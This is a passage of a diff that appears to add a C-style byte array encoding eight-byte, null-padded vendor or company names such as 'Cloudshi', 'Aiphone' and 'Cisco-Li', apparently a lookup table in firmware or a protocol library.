0x6b, 0x61, 0x77, 0x61, +0x4d, 0x61, 0x72, 0x61, 0x6e, 0x74, 0x69, 0x4e, +0x48, 0x61, 0x6e, 0x62, 0x61, 0x63, 0x6b, 0x45, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x73, 0x68, 0x69, +0x41, 0x69, 0x70, 0x68, 0x6f, 0x6e, 0x65, 0x00, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x74, 0x65, 0x63, +0x50, 0x63, 0x2d, 0x50, 0x6f, 0x73, 0x00, 0x00, +0x56, 0x69, 0x74, 0x61, 0x6c, 0x73, 0x53, 0x79, +0x57, 0x6f, 0x6f, 0x6a, 0x75, 0x43, 0x6f, 0x6d, +0x53, 0x79, 0x73, 0x6e, 0x65, 0x74, 0x54, 0x65, +0x53, 0x75, 0x70, 0x65, 0x72, 0x53, 0x74, 0x61, +0x53, 0x6d, 0x61, 0x6c, 0x6c, 0x62, 0x69, 0x67, +0x52, 0x69, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x52, 0x64, 0x63, 0x53, 0x65, 0x6d, 0x69, 0x63, +0x4e, 0x73, 0x74, 0x6f, 0x72, 0x54, 0x65, 0x63, +0x4d, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x69, 0x67, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x00, 0x00, 0x00, +0x4b, 0x69, 0x68, 0x6f, 0x6b, 0x75, 0x45, 0x6c, +0x49, 0x6d, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, +0x45, 0x74, 0x69, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x47, 0x61, 0x72, 0x64, 0x65, 0x00, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x78, 0x69, 0x6f, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x49, 0x77, 0x6e, +0x42, 0x61, 0x79, 0x4d, 0x69, 0x63, 0x72, 0x6f, +0x43, 0x6f, 0x72, 0x69, 0x6e, 0x65, 0x78, 0x43, +0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x65, +0x42, 0x69, 0x6f, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x49, 0x73, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00, +0x49, 0x63, 0x65, 0x74, 0x53, 0x50, 0x41, 0x00, +0x41, 0x69, 0x72, 0x66, 0x6c, 0x6f, 0x77, 0x4e, +0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6c, +0x44, 0x61, 0x74, 0x61, 0x76, 0x61, 0x6e, 0x54, +0x46, 0x61, 0x67, 0x6f, 0x72, 0x41, 0x75, 0x74, +0x4a, 0x75, 0x73, 0x61, 0x6e, 0x53, 0x41, 0x00, +0x46, 0x72, 0x65, 0x65, 0x32, 0x6d, 0x6f, 0x76, +0x41, 0x67, 0x66, 0x61, 0x4e, 0x64, 0x74, 0x00, +0x58, 0x69, 0x6d, 0x65, 0x74, 0x61, 0x54, 0x65, +0x41, 0x65, 0x72, 0x6f, 0x6e, 0x69, 0x78, 0x00, +0x52, 0x65, 0x6d, 0x6f, 0x70, 0x72, 0x6f, 0x54, +0x43, 0x64, 0x33, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x57, +0x4e, 0x76, 0x65, 0x72, 0x67, 0x65, 0x6e, 0x63, +0x50, 0x61, 0x78, 0x74, 0x6f, 0x6e, 0x41, 0x63, +0x44, 0x6f, 0x72, 0x6d, 0x61, 0x54, 0x69, 0x6d, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x48, +0x45, 0x79, 0x65, 0x63, 0x72, 0x6f, 0x73, 0x73, +0x41, 0x6b, 0x63, 0x70, 0x00, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x68, 0x6f, 0x6b, 0x75, 0x52, 0x69, +0x54, 0x65, 0x6c, 0x64, 0x69, 0x78, 0x00, 0x00, +0x53, 0x65, 0x72, 0x63, 0x6f, 0x6e, 0x65, 0x74, +0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x4e, 0x65, 0x74, +0x4c, 0x75, 0x6d, 0x65, 0x6e, 0x65, 0x72, 0x61, +0x4b, 0x65, 0x79, 0x53, 0x74, 0x72, 0x65, 0x61, +0x48, 0x6f, 0x73, 0x69, 0x64, 0x65, 0x6e, 0x00, +0x48, 0x69, 0x6d, 0x73, 0x49, 0x6e, 0x74, 0x65, +0x44, 0x61, 0x74, 0x65, 0x6c, 0x45, 0x6c, 0x65, +0x43, 0x6f, 0x6d, 0x66, 0x6c, 0x75, 0x78, 0x54, +0x41, 0x6f, 0x69, 0x70, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x74, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x5a, 0x75, 0x6c, 0x74, 0x79, 0x73, 0x54, 0x65, +0x53, 0x79, 0x73, 0x74, 0x65, 0x67, 0x72, 0x61, +0x4e, 0x69, 0x70, 0x70, 0x6f, 0x6e, 0x45, 0x6c, +0x45, 0x6c, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x65, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x6f, 0x74, 0x65, 0x78, 0x50, 0x72, 0x6f, +0x4c, 0x61, 0x70, 0x4c, 0x61, 0x73, 0x65, 0x72, +0x43, 0x68, 0x69, 0x68, 0x2d, 0x4b, 0x61, 0x6e, +0x42, 0x61, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x74, 0x67, 0x65, 0x6e, 0x00, 0x00, +0x4e, 0x69, 0x64, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x66, 0x69, 0x6e, 0x65, 0x72, 0x61, +0x47, 0x65, 0x6d, 0x73, 0x74, 0x6f, 0x6e, 0x65, +0x45, 0x78, 0x65, 0x6d, 0x79, 0x73, 0x53, 0x72, +0x44, 0x2d, 0x4e, 0x65, 0x74, 0x49, 0x6e, 0x74, +0x43, 0x61, 0x73, 0x74, 0x65, 0x6c, 0x42, 0x72, +0x42, 0x65, 0x62, 0x49, 0x6e, 0x64, 0x75, 0x73, +0x41, 0x62, 0x61, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x41, 0x62, 0x62, 0x4f, 0x79, 0x00, 0x00, 0x00, +0x48, 0x64, 0x6d, 0x69, 0x4c, 0x69, 0x63, 0x65, +0x54, 0x65, 0x63, 0x6e, 0x6f, 0x76, 0x61, 0x00, +0x52, 0x70, 0x61, 0x52, 0x65, 0x73, 0x65, 0x72, +0x4e, 0x69, 0x78, 0x76, 0x75, 0x65, 0x50, 0x74, +0x49, 0x66, 0x74, 0x65, 0x73, 0x74, 0x00, 0x00, +0x48, 0x75, 0x6d, 0x65, 0x78, 0x54, 0x65, 0x63, +0x47, 0x75, 0x61, 0x6e, 0x67, 0x64, 0x6f, 0x6e, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x62, 0x75, 0x73, +0x41, 0x70, 0x70, 0x72, 0x6f, 0x54, 0x65, 0x63, +0x58, 0x74, 0x72, 0x65, 0x6d, 0x65, 0x73, 0x70, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x2d, 0x4f, +0x50, 0x6e, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x2d, 0x4f, 0x70, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x71, 0x00, 0x00, +0x44, 0x69, 0x61, 0x67, 0x6e, 0x6f, 0x73, 0x74, +0x43, 0x79, 0x62, 0x65, 0x72, 0x70, 0x6f, 0x77, +0x43, 0x6f, 0x6e, 0x63, 0x6f, 0x72, 0x64, 0x65, +0x41, 0x6a, 0x61, 0x56, 0x69, 0x64, 0x65, 0x6f, +0x5a, 0x65, 0x6e, 0x69, 0x73, 0x75, 0x4b, 0x65, +0x54, 0x65, 0x6c, 0x69, 0x6f, 0x43, 0x6f, 0x6d, +0x51, 0x75, 0x65, 0x73, 0x74, 0x54, 0x65, 0x63, +0x4f, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x77, 0x65, 0x62, +0x4d, 0x65, 0x74, 0x74, 0x6c, 0x65, 0x72, 0x46, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x43, 0x61, +0x47, 0x6c, 0x69, 0x6d, 0x6d, 0x65, 0x72, 0x67, +0x46, 0x69, 0x57, 0x69, 0x6e, 0x00, 0x00, 0x00, +0x46, 0x61, 0x63, 0x75, 0x6c, 0x74, 0x79, 0x4f, +0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x44, 0x45, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4c, +0x41, 0x6e, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x00, +0x57, 0x65, 0x69, 0x6e, 0x74, 0x65, 0x6b, 0x4c, +0x53, 0x61, 0x6d, 0x6d, 0x79, 0x00, 0x00, 0x00, +0x52, 0x69, 0x66, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x4f, 0x63, 0x74, 0x74, 0x65, 0x6c, 0x43, 0x6f, +0x45, 0x6c, 0x69, 0x61, 0x73, 0x54, 0x65, 0x63, +0x45, 0x6e, 0x77, 0x69, 0x73, 0x65, 0x72, 0x00, +0x46, 0x75, 0x6c, 0x6c, 0x77, 0x61, 0x76, 0x65, +0x4f, 0x70, 0x65, 0x6e, 0x65, 0x74, 0x49, 0x6e, +0x53, 0x65, 0x6f, 0x72, 0x69, 0x6d, 0x74, 0x65, +0x41, 0x76, 0x69, 0x6f, 0x6e, 0x69, 0x63, 0x44, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x63, 0x61, 0x73, +0x56, 0x69, 0x78, 0x65, 0x6e, 0x00, 0x00, 0x00, +0x4b, 0x61, 0x76, 0x6f, 0x44, 0x65, 0x6e, 0x74, +0x53, 0x68, 0x61, 0x72, 0x70, 0x54, 0x61, 0x6b, +0x47, 0x65, 0x6f, 0x6d, 0x61, 0x74, 0x69, 0x6f, +0x54, 0x65, 0x6c, 0x63, 0x6f, 0x62, 0x72, 0x69, +0x53, 0x65, 0x6e, 0x74, 0x69, 0x6e, 0x65, 0x6c, +0x4f, 0x78, 0x61, 0x6e, 0x63, 0x65, 0x00, 0x00, +0x4f, 0x72, 0x69, 0x6f, 0x6e, 0x45, 0x6c, 0x65, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x63, 0x68, 0x6f, +0x47, 0x6c, 0x73, 0x79, 0x73, 0x74, 0x65, 0x63, +0x43, 0x72, 0x65, 0x73, 0x74, 0x41, 0x75, 0x64, +0x43, 0x6f, 0x67, 0x65, 0x6e, 0x74, 0x44, 0x65, +0x41, 0x6c, 0x74, 0x65, 0x63, 0x68, 0x43, 0x6f, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x2d, 0x4c, 0x69, +0x52, 0x6f, 0x75, 0x74, 0x65, 0x72, 0x62, 0x6f, +0x52, 0x61, 0x6c, 0x69, 0x6e, 0x6b, 0x54, 0x65, +0x41, 0x75, 0x74, 0x6f, 0x6d, 0x61, 0x74, 0x65, +0x41, 0x6e, 0x69, 0x6d, 0x61, 0x74, 0x69, 0x6f, +0x53, 0x6b, 0x54, 0x65, 0x6c, 0x65, 0x74, 0x65, +0x51, 0x6f, 0x73, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x44, 0x61, 0x6e, 0x67, 0x61, 0x61, 0x72, 0x64, +0x43, 0x79, 0x67, 0x6e, 0x75, 0x73, 0x4d, 0x69, +0x43, 0x68, 0x65, 0x6f, 0x70, 0x73, 0x45, 0x6c, +0x41, 0x72, 0x63, 0x6f, 0x72, 0x41, 0x67, 0x26, +0x43, 0x75, 0x72, 0x74, 0x69, 0x73, 0x73, 0x2d, +0x57, 0x69, 0x6e, 0x62, 0x65, 0x73, 0x74, 0x54, +0x55, 0x64, 0x74, 0x65, 0x63, 0x68, 0x4a, 0x61, +0x52, 0x6f, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, +0x50, 0x65, 0x64, 0x65, 0x73, 0x74, 0x61, 0x6c, +0x4d, 0x65, 0x67, 0x61, 0x74, 0x65, 0x6c, 0x43, +0x4d, 0x61, 0x63, 0x6b, 0x69, 0x65, 0x45, 0x6e, +0x4d, 0x26, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x64, 0x79, 0x6d, 0x65, 0x45, 0x6c, +0x49, 0x62, 0x73, 0x6d, 0x6d, 0x45, 0x6d, 0x62, +0x48, 0x61, 0x6e, 0x77, 0x61, 0x6e, 0x67, 0x54, +0x47, 0x74, 0x6e, 0x42, 0x56, 0x00, 0x00, 0x00, +0x43, 0x68, 0x69, 0x63, 0x54, 0x65, 0x63, 0x68, +0x43, 0x61, 0x6c, 0x79, 0x70, 0x73, 0x6f, 0x4d, +0x41, 0x76, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, +0x41, 0x63, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x54, 0x65, 0x63, 0x68, 0x44, 0x62, +0x41, 0x62, 0x62, 0x43, 0x65, 0x77, 0x65, 0x2d, +0x5a, 0x65, 0x6e, 0x69, 0x74, 0x68, 0x45, 0x6c, +0x58, 0x32, 0x4d, 0x73, 0x61, 0x47, 0x72, 0x6f, +0x53, 0x75, 0x6e, 0x69, 0x6e, 0x54, 0x65, 0x6c, +0x50, 0x72, 0x6f, 0x6e, 0x74, 0x6f, 0x4e, 0x65, +0x4f, 0x79, 0x6f, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x53, 0x69, 0x67, 0x6d, 0x61, 0x74, 0x65, 0x6c, +0x4d, 0x62, 0x61, 0x72, 0x69, 0x00, 0x00, 0x00, +0x4b, 0x75, 0x72, 0x7a, 0x49, 0x6e, 0x64, 0x75, +0x45, 0x6c, 0x67, 0x61, 0x74, 0x6f, 0x4c, 0x6c, +0x45, 0x64, 0x77, 0x61, 0x72, 0x64, 0x73, 0x00, +0x41, 0x73, 0x75, 0x73, 0x74, 0x65, 0x6b, 0x43, +0x41, 0x6d, 0x74, 0x65, 0x6b, 0x53, 0x79, 0x73, +0x41, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x79, 0x62, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x54, 0x65, 0x6d, 0x70, 0x65, 0x61, 0x72, 0x6c, +0x54, 0x65, 0x6c, 0x73, 0x6f, 0x6e, 0x45, 0x6c, +0x52, 0x69, 0x76, 0x65, 0x72, 0x74, 0x65, 0x63, +0x4f, 0x72, 0x69, 0x65, 0x6e, 0x74, 0x61, 0x6c, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x2d, 0x53, 0x74, +0x4c, 0x69, 0x66, 0x65, 0x52, 0x61, 0x63, 0x69, +0x49, 0x6e, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x45, +0x45, 0x78, 0x74, 0x65, 0x6c, 0x43, 0x6f, 0x6d, +0x44, 0x61, 0x74, 0x61, 0x72, 0x69, 0x75, 0x73, +0x54, 0x65, 0x69, 0x6b, 0x6f, 0x6b, 0x75, 0x45, +0x54, 0x65, 0x6c, 0x6c, 0x69, 0x75, 0x6d, 0x00, +0x53, 0x79, 0x6e, 0x65, 0x72, 0x74, 0x72, 0x6f, +0x4f, 0x70, 0x65, 0x6c, 0x63, 0x6f, 0x6d, 0x6d, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x54, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x61, 0x6c, 0x53, +0x45, 0x61, 0x7a, 0x69, 0x78, 0x00, 0x00, 0x00, +0x41, 0x6d, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x70, 0x61, 0x63, 0x68, 0x65, 0x4d, 0x69, +0x41, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x42, 0x6f, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x54, +0x4b, 0x6f, 0x64, 0x69, 0x63, 0x6f, 0x6d, 0x00, +0x4d, 0x61, 0x74, 0x72, 0x69, 0x78, 0x56, 0x69, +0x4d, 0x65, 0x6e, 0x74, 0x6f, 0x72, 0x45, 0x6e, +0x4e, 0x65, 0x72, 0x67, 0x61, 0x6c, 0x53, 0x52, +0x4f, 0x63, 0x74, 0x61, 0x73, 0x69, 0x63, 0x00, +0x52, 0x69, 0x76, 0x65, 0x72, 0x68, 0x65, 0x61, +0x57, 0x6f, 0x6c, 0x66, 0x76, 0x69, 0x73, 0x69, +0x58, 0x65, 0x6c, 0x69, 0x6e, 0x65, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x45, 0x6c, +0x50, 0x72, 0x69, 0x6d, 0x65, 0x6e, 0x65, 0x74, +0x4f, 0x71, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x76, 0x41, 0x64, 0x62, 0x54, 0x74, 0x76, +0x4c, 0x65, 0x74, 0x65, 0x6b, 0x43, 0x6f, 0x6d, +0x48, 0x69, 0x74, 0x65, 0x6c, 0x4c, 0x69, 0x6e, +0x48, 0x69, 0x74, 0x65, 0x63, 0x68, 0x45, 0x6c, +0x45, 0x65, 0x53, 0x6f, 0x6c, 0x75, 0x74, 0x69, +0x43, 0x68, 0x6f, 0x6e, 0x67, 0x68, 0x6f, 0x49, +0x55, 0x62, 0x65, 0x65, 0x61, 0x69, 0x72, 0x77, +0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x6c, 0x69, +0x4e, 0x6b, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x74, 0x6f, 0x72, 0x63, 0x61, 0x73, 0x65, +0x53, 0x69, 0x67, 0x6d, 0x61, 0x63, 0x6f, 0x6d, +0x52, 0x61, 0x6e, 0x63, 0x68, 0x6f, 0x54, 0x65, +0x50, 0x72, 0x6f, 0x6d, 0x70, 0x74, 0x74, 0x65, +0x4e, 0x61, 0x6d, 0x61, 0x6e, 0x4e, 0x7a, 0x00, +0x4d, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x00, +0x4d, 0x65, 0x74, 0x72, 0x6f, 0x53, 0x75, 0x7a, +0x47, 0x61, 0x72, 0x75, 0x64, 0x61, 0x4e, 0x65, +0x45, 0x62, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x43, 0x75, 0x62, 0x69, 0x63, 0x54, 0x72, 0x61, +0x43, 0x6f, 0x6d, 0x6d, 0x65, 0x6e, 0x64, 0x49, +0x43, 0x69, 0x74, 0x69, 0x7a, 0x65, 0x6e, 0x57, +0x42, 0x74, 0x75, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x41, 0x69, 0x6c, 0x6f, 0x63, 0x6f, 0x6d, 0x4f, +0x54, 0x72, 0x69, 0x54, 0x65, 0x72, 0x6d, 0x00, +0x53, 0x74, 0x61, 0x72, 0x53, 0x65, 0x6d, 0x69, +0x53, 0x61, 0x6c, 0x6c, 0x61, 0x6e, 0x64, 0x45, +0x55, 0x6e, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x52, 0x6f, 0x75, 0x6e, 0x64, 0x00, 0x00, 0x00, +0x41, 0x75, 0x74, 0x6f, 0x63, 0x65, 0x6c, 0x6c, +0x50, 0x72, 0x65, 0x6d, 0x69, 0x65, 0x72, 0x54, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x53, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x48, +0x4d, 0x65, 0x64, 0x69, 0x6f, 0x6e, 0x00, 0x00, +0x4c, 0x65, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x61, 0x6d, 0x65, 0x78, 0x00, 0x00, 0x00, +0x49, 0x73, 0x6b, 0x72, 0x61, 0x65, 0x6d, 0x65, +0x49, 0x73, 0x63, 0x75, 0x74, 0x75, 0x6d, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x6d, 0x69, 0x6e, 0x61, +0x48, 0x6f, 0x6c, 0x79, 0x53, 0x74, 0x6f, 0x6e, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x4f, 0x79, +0x45, 0x61, 0x74, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x6e, +0x42, 0x65, 0x77, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x54, 0x69, 0x70, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x74, 0x6c, 0x69, 0x6e, 0x6b, +0x4b, 0x61, 0x2d, 0x52, 0x6f, 0x45, 0x6c, 0x65, +0x58, 0x79, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78, +0x49, 0x6c, 0x77, 0x6f, 0x6f, 0x44, 0x61, 0x74, +0x48, 0x67, 0x73, 0x74, 0x41, 0x57, 0x65, 0x73, +0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x43, 0x6f, +0x41, 0x65, 0x72, 0x6f, 0x73, 0x63, 0x6f, 0x75, +0x49, 0x65, 0x63, 0x2d, 0x54, 0x63, 0x35, 0x37, +0x53, 0x79, 0x6d, 0x65, 0x74, 0x72, 0x69, 0x78, +0x53, 0x66, 0x6f, 0x6d, 0x54, 0x65, 0x63, 0x68, +0x53, 0x63, 0x68, 0x61, 0x66, 0x66, 0x6e, 0x65, +0x50, 0x72, 0x65, 0x74, 0x74, 0x6c, 0x45, 0x6c, +0x50, 0x6f, 0x73, 0x69, 0x74, 0x72, 0x6f, 0x6e, +0x50, 0x61, 0x73, 0x73, 0x61, 0x76, 0x65, 0x00, +0x50, 0x61, 0x72, 0x74, 0x6e, 0x65, 0x72, 0x54, +0x4e, 0x61, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x63, +0x4d, 0x4b, 0x4a, 0x75, 0x63, 0x68, 0x68, 0x65, +0x49, 0x74, 0x63, 0x61, 0x72, 0x65, 0x00, 0x00, +0x46, 0x72, 0x65, 0x65, 0x68, 0x61, 0x6e, 0x64, +0x42, 0x65, 0x63, 0x73, 0x54, 0x65, 0x63, 0x68, +0x41, 0x6f, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x62, 0x62, 0x53, 0x74, 0x6f, 0x74, 0x7a, +0x50, 0x75, 0x6c, 0x6e, 0x69, 0x78, 0x41, 0x6d, +0x54, 0x72, 0x65, 0x6b, 0x44, 0x69, 0x61, 0x67, +0x4f, 0x70, 0x65, 0x6e, 0x47, 0x72, 0x6f, 0x75, +0x52, 0x6f, 0x6c, 0x6c, 0x73, 0x2d, 0x52, 0x6f, +0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, +0x4e, 0x65, 0x75, 0x72, 0x6f, 0x63, 0x6f, 0x6d, +0x4d, 0x65, 0x72, 0x75, 0x4e, 0x65, 0x74, 0x77, +0x42, 0x6c, 0x6f, 0x6f, 0x6d, 0x62, 0x65, 0x72, +0x41, 0x70, 0x68, 0x6f, 0x6e, 0x61, 0x4b, 0x6f, +0x43, 0x6e, 0x6d, 0x70, 0x4e, 0x65, 0x74, 0x77, +0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x63, +0x52, 0x65, 0x61, 0x6c, 0x44, 0x69, 0x67, 0x69, +0x4a, 0x70, 0x2d, 0x45, 0x6d, 0x62, 0x65, 0x64, +0x4d, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x47, 0x61, 0x6d, 0x65, 0x73, 0x61, 0x45, 0x00, +0x43, 0x61, 0x6c, 0x6c, 0x49, 0x6d, 0x61, 0x67, +0x41, 0x6b, 0x61, 0x74, 0x73, 0x75, 0x6b, 0x69, +0x49, 0x6e, 0x66, 0x6f, 0x65, 0x78, 0x70, 0x72, +0x53, 0x69, 0x74, 0x65, 0x63, 0x6f, 0x6d, 0x45, +0x58, 0x79, 0x6c, 0x65, 0x6d, 0x57, 0x61, 0x74, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x00, +0x4b, 0x6f, 0x72, 0x65, 0x61, 0x4e, 0x65, 0x74, +0x53, 0x32, 0x69, 0x6f, 0x54, 0x65, 0x63, 0x68, +0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x49, +0x47, 0x72, 0x61, 0x6e, 0x64, 0x45, 0x6c, 0x65, +0x4d, 0x72, 0x6f, 0x2d, 0x54, 0x65, 0x6b, 0x00, +0x53, 0x65, 0x61, 0x77, 0x61, 0x79, 0x4e, 0x65, +0x50, 0x26, 0x45, 0x4d, 0x69, 0x63, 0x72, 0x6f, +0x4e, 0x65, 0x63, 0x50, 0x6c, 0x61, 0x74, 0x66, +0x4d, 0x61, 0x74, 0x72, 0x69, 0x63, 0x73, 0x00, +0x46, 0x6f, 0x78, 0x62, 0x6f, 0x72, 0x6f, 0x45, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x6c, 0x6f, 0x67, +0x43, 0x61, 0x6c, 0x72, 0x65, 0x63, 0x41, 0x75, +0x41, 0x62, 0x6f, 0x76, 0x65, 0x63, 0x61, 0x62, +0x59, 0x75, 0x65, 0x68, 0x75, 0x61, 0x5a, 0x68, +0x50, 0x72, 0x6f, 0x6a, 0x65, 0x63, 0x74, 0x69, +0x4d, 0x64, 0x69, 0x53, 0x65, 0x63, 0x75, 0x72, +0x49, 0x74, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72, +0x49, 0x6e, 0x71, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x46, 0x69, 0x6e, 0x6c, 0x75, 0x78, 0x00, 0x00, +0x45, 0x6d, 0x62, 0x65, 0x64, 0x74, 0x72, 0x6f, +0x44, 0x65, 0x6e, 0x74, 0x73, 0x70, 0x6c, 0x79, +0x41, 0x78, 0x65, 0x6c, 0x6c, 0x00, 0x00, 0x00, +0x57, 0x69, 0x6c, 0x68, 0x65, 0x6c, 0x6d, 0x52, +0x56, 0x74, 0x65, 0x63, 0x68, 0x49, 0x6e, 0x6e, +0x56, 0x6f, 0x69, 0x70, 0x61, 0x63, 0x53, 0x52, +0x55, 0x68, 0x73, 0x50, 0x74, 0x79, 0x00, 0x00, +0x54, 0x75, 0x72, 0x62, 0x6f, 0x4e, 0x65, 0x74, +0x4d, 0x65, 0x67, 0x61, 0x2d, 0x54, 0x72, 0x65, +0x52, 0x6f, 0x62, 0x65, 0x53, 0x68, 0x6f, 0x77, +0x4d, 0x75, 0x73, 0x74, 0x65, 0x6b, 0x53, 0x79, +0x4b, 0x79, 0x6f, 0x74, 0x6f, 0x45, 0x6c, 0x65, +0x41, 0x6d, 0x65, 0x73, 0x79, 0x73, 0x44, 0x65, +0x48, 0x69, 0x67, 0x68, 0x2d, 0x54, 0x65, 0x6b, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x54, +0x41, 0x76, 0x44, 0x69, 0x67, 0x69, 0x74, 0x61, +0x41, 0x73, 0x61, 0x68, 0x69, 0x6b, 0x61, 0x73, +0x57, 0x69, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x00, +0x55, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x6c, +0x53, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x45, 0x26, +0x53, 0x61, 0x6e, 0x64, 0x65, 0x6e, 0x00, 0x00, +0x50, 0x72, 0x69, 0x6d, 0x61, 0x67, 0x72, 0x61, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x70, 0x6c, 0x65, +0x53, 0x63, 0x61, 0x6e, 0x6d, 0x61, 0x74, 0x69, +0x52, 0x61, 0x63, 0x61, 0x6c, 0x49, 0x6e, 0x73, +0x4e, 0x65, 0x74, 0x32, 0x65, 0x64, 0x67, 0x65, +0x4e, 0x63, 0x74, 0x44, 0x65, 0x75, 0x74, 0x73, +0x41, 0x69, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x54, +0x49, 0x63, 0x65, 0x66, 0x79, 0x72, 0x65, 0x53, +0x43, 0x6f, 0x6d, 0x70, 0x65, 0x6c, 0x6c, 0x65, +0x44, 0x69, 0x73, 0x70, 0x65, 0x6e, 0x73, 0x65, +0x50, 0x72, 0x65, 0x64, 0x69, 0x77, 0x61, 0x76, +0x53, 0x68, 0x65, 0x6c, 0x6c, 0x49, 0x6e, 0x74, +0x57, 0x75, 0x48, 0x61, 0x6e, 0x52, 0x6f, 0x75, +0x57, 0x69, 0x70, 0x6c, 0x75, 0x67, 0x00, 0x00, +0x4e, 0x69, 0x73, 0x73, 0x69, 0x6e, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x65, 0x6c, 0x65, +0x49, 0x54, 0x65, 0x63, 0x68, 0x44, 0x79, 0x6e, +0x48, 0x61, 0x6d, 0x6d, 0x65, 0x72, 0x68, 0x65, +0x41, 0x70, 0x6c, 0x75, 0x78, 0x43, 0x6f, 0x6d, +0x56, 0x74, 0x69, 0x49, 0x6e, 0x73, 0x74, 0x72, +0x56, 0x65, 0x72, 0x69, 0x6e, 